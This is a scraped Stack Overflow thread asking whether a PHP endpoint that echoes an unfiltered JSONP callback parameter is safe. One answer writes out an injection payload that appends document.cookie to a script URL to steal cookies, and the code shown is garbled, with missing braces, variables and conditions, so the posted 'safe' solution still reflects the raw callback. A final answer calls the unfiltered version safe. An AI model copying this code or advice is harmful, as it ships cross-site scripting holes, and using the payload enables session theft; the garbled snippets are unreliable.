Is this safe for providing JSONP?

<?php header('content-type: application/json');

$json = json_encode($data);

echo isset($_GET['callback'])
    ? "{$_GET['callback']}($json)"
    : $json;

Or should I for example filter the $_GET['callback'] variable so that it only contains a valid JavaScript function name? If so, what are valid JavaScript function names?

Or is not filtering that variable a bit of the point with JSONP?

Current solution: Blogged about my current solution at In short, for now, I have the following code, which hopefully should be pretty safe:

<?php header('content-type: application/json; charset=utf-8');

function is_valid_callback($subject)
       = '/^[$_\p{L}][$_\p{L}\p{Mn}\p{Mc}\p{Nd}\p{Pc}\x{200C}\x{200D}]*+$/u';

     $reserved_words = array('break', 'do', 'instanceof', 'typeof', 'case',
       'else', 'new', 'var', 'catch', 'finally', 'return', 'void', 'continue', 
       'for', 'switch', 'while', 'debugger', 'function', 'this', 'with', 
       'default', 'if', 'throw', 'delete', 'in', 'try', 'class', 'enum', 
       'extends', 'super', 'const', 'export', 'import', 'implements', 'let', 
       'private', 'public', 'yield', 'interface', 'package', 'protected', 
       'static', 'null', 'true', 'false');

     return preg_match($identifier_syntax, $subject)
         && ! in_array(mb_strtolower($subject, 'UTF-8'), $reserved_words);

$data = array(1, 2, 3, 4, 5, 6, 7, 8, 9);
$json = json_encode($data);

# JSON if no callback
if( ! isset($_GET['callback']))
     exit( $json );

# JSONP if valid callback
     exit( "{$_GET['callback']}($json)" );

# Otherwise, bad request
header('Status: 400 Bad Request', true, 400);

No, if you intend to limit the JSONP to select domains. Specify the encoding too or people who shouldn’t be able to access the JSON can possibly do UTF-7 injection attacks. Use this header instead:

header('Content-Type: application/json; charset=utf-8');

If it’s supposed to be a public JSONP service, then yes it is safe, and also use application/javascript instead of application/json.

To be safe, you should encode callback to only allow valid JS function names. Nothing complex, just don’t allow end-developers to inject any javascript.
Here’s some code:


    header('Content-Type: application/json; charset=utf-8'); // Thanks Eli

     * Ensures that input string matches a set of whitelisted characters and
     * replaces unlisted ones with a replacement string (defaults to underscore).
     * @param string $orig The original text to filter.
     * @param string $replace The replacement string (default is underscore).
     * @param string The original text with bad characters replaced with $replace.
     * @link
    function strtoident($orig,$replace=""){
        $orig=(string)$orig;                  // ensure input is a string
        for($i=0; $i<strlen($orig); $i++){
            if(!(  (($o>=48) && ($o<=57))     // numbers
                || (($o>=97) && ($o<=122))    // lowercase
                || (($o>=65) && ($o<=90))     // uppercase
                || ($orig{$i}=='_')))         // underscore
                   $orig{$i}=$replace;        // check failed, use replacement
        return $orig;


    echo isset($_GET['callback'])
        ? strtoident($_GET['callback']).'('.$json.');'
        : $json;



Read More:   How can I round down a number in Javascript?

The reason is to avoid hackers pointing innocent victims to:{ $(document.body).append('<script type="text/javascript" src=""+document.cookie+""></script>'); })//

Which can be broken down to:

        '<script type="text/javascript" src=""+document.cookie+""></script>'

With the latter part being the json you encoded, easily cancelled out with a comment (though unnecessary for their exploit to work).
Basically, the hacker gets to know the user’s cookies (among other things) which helps him gain access to the user’s account with your website.

Edit: UTF-8 Compatibility. In order to substantiate my claims, read here. Or:

Like UTF-16 and UTF-32, UTF-8 can represent every character in the Unicode character set. Unlike them, it is backward-compatible with ASCII and avoids the complications of endianness and byte order marks (BOM).

I think it is safe. As long as you do not echo $_GET[‘callback’] in another page without escaping. The one who does the request can put whatever js he wants in it, I think it will always be his problems, not yours. This page provides the definition of a valid js function name :

The answers/resolutions are collected from stackoverflow, are licensed under cc by-sa 2.5 , cc by-sa 3.0 and cc by-sa 4.0 .

Similar Posts